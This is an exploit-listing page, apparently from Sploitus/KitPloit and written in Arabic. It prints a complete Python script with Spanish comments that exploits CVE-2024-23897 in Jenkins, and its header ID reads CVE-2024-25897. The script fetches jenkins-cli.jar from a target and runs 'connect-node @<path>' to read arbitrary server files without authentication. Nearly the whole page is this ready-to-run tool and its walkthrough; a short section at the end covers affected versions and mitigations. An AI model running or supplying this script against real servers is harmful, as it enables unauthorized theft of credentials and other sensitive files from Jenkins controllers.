## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-I-100-USER-CVE-2024-25897


المعلمات `ip` , `puerto` , `ruta`

**مخرجات الاستغلال**

**لوحة المساعدة**
### شرح الاستغلال
إليك شرح الكود بصيغة Markdown:
# شرح الكود
تم تصميم هذا السكربت لاستغلال ثغرة أمنية محددة في Jenkins (CVE-2024-23897). يتيح تنزيل ملف JAR من خادم Jenkins وتنفيذ حمولة (payload) لتوصيل عقدة Jenkins. فيما يلي شرح لكل جزء من الكود:
## استيراد الوحدات
root@kitploit:~
import argparse
import requests
import os
import subprocess
import sys
* `argparse`: للتعامل مع وسائط سطر الأوامر.
* `requests`: لإجراء طلبات HTTP.
* `os`: للتفاعل مع نظام التشغيل.
* `subprocess`: لتنفيذ أوامر النظام.
* `sys`: للتفاعل مع مترجم بايثون.
## الدالة `banner`
root@kitploit:~
def banner():
"""
Imprime un banner decorativo para la herramienta.
"""
text = """
______ _______ ____ ___ ____ _ _ ____ _____ ___ ___ _____ _ _ _
/ ___\ \ / / ____| |___ \ / _ \___ \| || | |___ \|___ / ( _ )/ _ \___ | | | ___ _ __ | | _(_)_ __ ___
| | \ \ / /| _| _____ __) | | | |__) | || |_ _____ __) | |_ \ / _ \ (_) | / / _ | |/ _ \ '_ \| |/ / | '_ \/ __|
| |___ \ V / | |__|_____/ __/| |_| / __/|__ _|_____/ __/ ___) | (_) \__, |/ / | |_| | __/ | | | <| | | | \__|
\____| \_/ |_____| |_____|\___/_____| |_| |_____|____/ \___/ /_//_/ \___/ \___|_| |_|_|\_\_|_| |_|___/
"""
print(text)
تقوم هذه الدالة بطباعة شعار (banner) تزييني في بداية السكربت.
## الدالة `descargar_jar`
root@kitploit:~
def descargar_jar(ip, puerto):
"""
Descarga el archivo jenkins-cli.jar desde el servidor Jenkins especificado.
Args:
ip (str): Dirección IP del servidor Jenkins.
puerto (str): Puerto del servidor Jenkins.
Returns:
bool: True si la descarga fue exitosa, False en caso contrario.
"""
url = f"http://{ip}:{puerto}/jnlpJars/jenkins-cli.jar"
try:
response = requests.get(url)
if response.status_code == 200:
with open('jenkins-cli.jar', 'wb') as archivo_jar:
archivo_jar.write(response.content)
return True
else:
print(f"\n[-] No se pudo descargar el archivo. Código de estado: {response.status_code}")
return False
except requests.RequestException as errorhttp:
print(f"\n[-] Error al realizar la solicitud: {errorhttp}")
return False
تقوم هذه الدالة بتنزيل الملف `jenkins-cli.jar` من خادم Jenkins المحدد عبر عنوان IP والمنفذ. إذا كان التنزيل ناجحًا، فتحفظ الملف في النظام وتُرجع `True`؛ وإلا، تُرجع `False`.
## الدالة `attack_payload`
root@kitploit:~
def attack_payload(ip, puerto, ruta):
"""
Ejecuta el payload para conectar un nodo Jenkins.
Args:
ip (str): Dirección IP del servidor Jenkins.
puerto (str): Puerto del servidor Jenkins.
ruta (str): Ruta para leer el archivo.
"""
archivo_jar = "jenkins-cli.jar"
payload = f"java -jar {archivo_jar} -s http://{ip}:{puerto}/ -http connect-node @{ruta}"
try:
subprocess.run(payload, shell=True, check=True)
os.remove(archivo_jar)
except subprocess.CalledProcessError as error_payload:
print(f"\n[-] Error al intentar conectar el nodo: {error_payload}\n")
تنفّذ هذه الدالة أمرًا لتوصيل عقدة Jenkins باستخدام الملف `jenkins-cli.jar`. بعد تنفيذ الأمر، تقوم بحذف ملف JAR. إذا حدث خطأ في التنفيذ، تعرض رسالة خطأ.
## الدالة `main`
root@kitploit:~
def main():
"""
Función principal que analiza los argumentos y ejecuta las funciones correspondientes.
"""
parser = argparse.ArgumentParser(description="\n[+] Exploit para explotar el CVE-2024-23897\n")
parser.add_argument("ip", type=str, help="\n[+] Dirección IP del servidor Jenkins\n")
parser.add_argument("puerto", type=str, help="\n[+] Puerto del servidor de Jenkins\n")
parser.add_argument("ruta", type=str, help="\n[+] Ruta para leer el archivo\n")
args = parser.parse_args()
ip = args.ip
puerto = args.puerto
ruta = args.ruta
banner()
if descargar_jar(ip, puerto):
attack_payload(ip, puerto, ruta)
else:
sys.exit(1)
الوظيفة الرئيسية للسكربت:
1. تحلل وسائط سطر الأوامر (`ip`, `puerto`, `ruta`).
2. تستدعي الدالة `banner` لطباعة الشعار.
3. تستدعي الدالة `descargar_jar` لتنزيل ملف JAR.
4. إذا كان التنزيل ناجحًا، تستدعي الدالة `attack_payload` لتنفيذ الـ payload؛ وإلا، تنهي السكربت برمز خروج `1`.
## تشغيل السكربت
root@kitploit:~
if __name__ == '__main__':
main()
يضمن هذا الكتلة أن يتم تنفيذ الدالة `main` فقط إذا تم تشغيل السكربت مباشرة، وليس إذا تم استيراده كوحدة.
### الملخص
هذا السكربت هو أداة لاستغلال ثغرة أمنية في Jenkins. يقوم بتنزيل ملف JAR من خادم Jenkins ويستخدم هذا الملف لتنفيذ حمولة (payload) تقوم بتوصيل عقدة Jenkins. يتم توفير الوسائط المطلوبة (`ip`, `puerto`, `ruta`) عبر سطر الأوامر.
إليك قائمة بالمكتبات المطلوبة مع أوامر `pip install` لكل منها:
# المكتبات المطلوبة
* `argparse`: هذه المكتبة مضمنة في المكتبة القياسية للغة بايثون، لذلك لا تحتاج إلى تثبيتها.
* `requests`: لإجراء طلبات HTTP.
root@kitploit:~
pip install requests
* `os`: هذه المكتبة مضمنة في المكتبة القياسية للغة بايثون، لذلك لا تحتاج إلى تثبيتها.
* `subprocess`: هذه المكتبة مضمنة في المكتبة القياسية للغة بايثون، لذلك لا تحتاج إلى تثبيتها.
* `sys`: هذه المكتبة مضمنة في المكتبة القياسية للغة بايثون، لذلك لا تحتاج إلى تثبيتها.
# تثبيت المكتبات
root@kitploit:~
pip install requests
## إن CVE-2024-23897 هو ثغرة أمنية موجودة في Jenkins، وهي أداة شهيرة للأتمتة وCI/CD. تؤثر هذه الثغرة على Jenkins في الإصدارات 2.441 وما قبلها، وكذلك على إصدارات LTS 2.426.2 وما قبلها.
### وصف الثغرة:
* **الوظيفة المتأثرة** : محلل أوامر CLI الخاص بـ Jenkins.
* **المشكلة** : لا تقوم بتعطيل وظيفة تسمح باستبدال حرف '@' متبوعًا بمسار ملف في وسيط بمحتوى ذلك الملف.
* **التأثير** : تسمح للمهاجمين غير المصادق عليهم بقراءة ملفات عشوائية في نظام ملفات وحدة التحكم Jenkins.
* **الخطر** : يمكن للمهاجم الوصول إلى معلومات حساسة مخزنة على خادم Jenkins، مما قد يؤدي إلى اختراق النظام بشكل أعمق.
### مثال على الاستغلال:
1. يرسل المهاجم أمر CLI إلى Jenkins يتضمن `@/ruta/del/archivo`.
2. يفسّر محلل أوامر Jenkins `@/ruta/del/archivo` ويستبدل هذا الوسيط بمحتوى الملف المحدد.
3. يحصل المهاجم على محتوى الملف دون الحاجة إلى مصادقة.
### إجراءات التخفيف:
* **تحديث Jenkins** : تثبيت إصدارات أحدث قامت بإصلاح هذه الثغرة.
* **إعدادات الأمان** : مراجعة وتقييد الوصول إلى CLI الخاص بـ Jenkins، والتأكد من أن المستخدمين المصادق عليهم والموثوقين فقط يمكنهم استخدام هذه الوظيفة.
يعد تحديث Jenkins وتكوينه بشكل صحيح أمرًا بالغ الأهمية لحماية النظام من هذه الثغرة.
 